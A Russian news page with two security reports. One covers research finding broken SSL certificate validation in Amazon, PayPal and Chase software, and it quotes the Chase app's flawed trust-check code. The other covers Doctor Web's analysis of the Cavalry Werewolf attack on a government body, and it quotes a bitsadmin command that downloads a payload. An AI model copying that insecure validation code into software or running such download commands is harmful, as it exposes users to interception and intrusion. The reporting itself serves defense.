В критически важных приложениях обнаружен опасный код

В критически важных приложениях обнаружен опасный код

Оказывается, не только разработчики Android-приложений грешат неграмотным внедрением SSL, но подобные ошибки присутствуют в программах ведущих софтверных компаний, включая Amazon и Paypal.

Неграмотная процедура проверки SSL-сертификатов обнаружена в критически важных приложениях, SDK, Java middleware, банковском софте и т.д., что открывает перед злоумышленниками возможности для MiTM-атаки — ничего хуже этого и представить невозможно, считают исследователи из Стэнфордского и Техасского университетов, которые опубликовали научную работу «Самый опасный код в мире: проверка SSL-сертификатов вне браузера». Достоин упоминания тот факт, что группа американских учёных работала под руководством кандидата наук Техасского университета Виталия Шматикова, пишет xakep.ru.

Итак, исследователи обнаружили некорректную процедуру SSL-валидации в ряде очень серьёзных программ:

Java-библиотека Amazon EC2 и все облачные клиенты на её основе;SDK Amazon и SDK Paypal, которые отвечают за передачу платёжных данных от торговой площадки к платёжному гейту;движки интернет-магазинов osCommerce, ZenCart, Ubercart и PrestaShop;код AdMob в мобильных веб-сайтах;мобильное приложение банка Chase и некоторые другие приложения и библиотеки под Android;Java middleware для веб-сервисов, включая Apache Axis, Axis 2, Codehaus XFire и библиотеку Pusher для Android, а также все приложения, которые используют перечисленное middleware.

В качестве примера безалаберности можно привести фрагмент исходного кода банковского приложения Chase.

public final void checkServerTrusted(X509Certificate[]
paramArrayOfX509Certificate, String paramString)
{
if ((paramArrayOfX509Certificate != null) && (
paramArrayOfX509Certificate.length == 1))
paramArrayOfX509Certificate[0].checkValidity();
while (true)
{
return;
this.a.checkServerTrusted(
paramArrayOfX509Certificate, paramString);
}
}

Любое SSL-соединение, установленное каждой из перечисленных программ, не является безопасным. Ключевая проблема лежит не столько в низкой квалификации разработчиков, сколько в плохом дизайне программных интерфейсов для реализации SSL (таких как JSSE, OpenSSL и GnuTLS) и библиотек для передачи данных (таких как cURL). Эти API и библиотеки сложны для обычного программиста, предлагая ему слишком путаный набор настроек и опций.

Например, в cURL есть несколько параметров для CURL_SSL_VERIFYHOST. Параметр VERIFYHOST=0 интуитивно понятен: он отключает проверку сертификата. Параметр VERIFYHOST=2 выполняет корректную проверку и сверяет имя хоста, указанное в сертификате, с именем хоста, который предъявляет сертификат. А вот параметрVERIFYHOST=1 (VERIFYHOST=TRUE) делает нечто очень странное: он проверяет, что сертификат принадлежит какому-то хосту, а затем принимает его от любого хоста. Понятно, что многие программисты не ожидали от cURL такой «подставы». Кстати, разработчик cURL Дэниел Стенберг вчера уже высказался по этому поводу. Ему после 10+ лет работы над cURL очень обидно слышать подобные обвинения, тем более что за все эти годы никто ни разу не предлагал изменить параметры для CURL_SSL_VERIFYHOST.

По результатам анализа ситуации с реализацией SSL в различных приложениях Шматиков с коллегами выработали ряд рекомендаций, в том числе они рекомендуют использовать специальное программное обеспечение для проверки корректности программного кода и пентестинга: например, программа TLSPretense. Есть также чёткая инструкция, как реализовать проверку SSL-сертификатов с помощью OpenSSL и репозиторий примеров правильного кода SSL Conservatory.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Группировка Cavalry Werewolf взломала сеть госоргана с помощью бэкдоров

В июле 2025 года к специалистам компании «Доктор Веб» обратился клиент из госсектора с жалобой на рассылку подозрительных писем с корпоративного почтового ящика. Расследование показало: перед ними была целевая кампания кибергруппировки, которую аналитики идентифицировали как Cavalry Werewolf.

Цель атаки — сбор конфиденциальной информации и картирование сети для дальнейшего закрепления внутри инфраструктуры.

Начали злоумышленники банально, но эффективно — с фишинга. В качестве «приманки» приходили архивы с паролем и вложенным бэкдором BackDoor.ShellNET.1 (основан на открытом проекте Reverse-Shell-CS). Файлы маскировались под служебные записки и другие официальные документы — имена были соответствующие, чтобы снизить бдительность получателя.

 

После запуска BackDoor.ShellNET.1 атакующие использовали стандартный для Windows инструмент bitsadmin для скачивания дополнительных полезных нагрузок (пример: bitsadmin /transfer www /download hxxp://…/winpot.exe). Среди загруженных модулей оказался стилер Trojan.FileSpyNET.5, который массово тянул документы (.doc/.docx/.xlsx/.pdf), текстовые файлы и изображения. Для скрытого доступа применяли BackDoor.Tunnel.41 (вариант ReverseSocks5) — с его помощью создавались SOCKS5-туннели и обеспечивалось скрытое подключение к заражённому ПК.

Дальше — больше: специалисты «Доктор Веб» обнаружили целый набор инструментов, как собственных, так и основанных на open-source. В арсенале группировки — скриптовые загрузчики (например, BAT.DownLoader.1138), «упакованные» трояны (Trojan.Packed2.49708, Trojan.Siggen31.54011 и т. п.), бэкдоры, управляемые через телеграм-ботов (BackDoor.Siggen2.5463, BackDoor.ShellNET.2), а также прокси-модули типа BackDoor.ReverseProxy.1. Некоторые варианты внедряли полезную нагрузку в легитимные процессы — например, инжектировали данные в aspnet_compiler.exe, чтобы бэкдор выполнялся в контексте доверенного приложения.

 

Интересно, что злоумышленники активно пользуются открытими решениями: либо берут код «как есть», либо модифицируют его под свои нужды. Для доставки следующей волны вредоносов они используют стандартные утилиты — PowerShell, bitsadmin, curl — а для сохранения присутствия в системе модифицируют автозагрузку через реестр (HKCU\...\Run) или ставят исполняемые файлы в C:\users\public\pictures и похожие публичные папки.

Атака Cavalry Werewolf показала типичную для целевых кампаний логику: разведка (whoami, ipconfig, просмотр директорий), проверка прокси и сети, затем загрузка инструментов и закрепление. Также злоумышленники могли позже использовать скомпрометированные устройства для перехода в другие сети — например, при смене работы жертвы — и разворачивать дальнейшие атаки через доверенные каналы.

Отдельные особенности группировки, которые отмечают аналитики «Доктор Веб»: предпочтение к open-source-инструментам, частое использование обратных шеллов и SOCKS-туннелей, внедрение вреда в видимо «безобидные» программы и управление через Telegram API. Фишинговые рассылки имитируют сообщения от государственных органов — это снижает подозрительность целевой аудитории и повышает шансы успешной компрометации.

Рекомендации для организаций — стандартный, но действенный набор мер: усилить фильтрацию почты и блокировку подозрительных вложений, ограничить возможность запуска bitsadmin/PowerShell неподписанных скриптов, включить контроль исполнения (application control) и EDR, регулярно проверять целевые публичные папки, применять многофакторную аутентификацию и оперативно реагировать на подозрительные соединения с неизвестными C2-адресами. При обнаружении инцидента — немедленно изолировать пострадавшие хосты и провести полноценную форензику, чтобы выявить степень компрометации.

Расследование «Доктор Веб» — ещё одно напоминание: даже крупные организации с государственным уровнем защиты уязвимы к грамотному фишингу и тому, что за ним следует. В современных целевых атаках именно сочетание человеческой ошибки и хорошо отлаженных инструментов злоумышленников делает наибольший ущерб.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru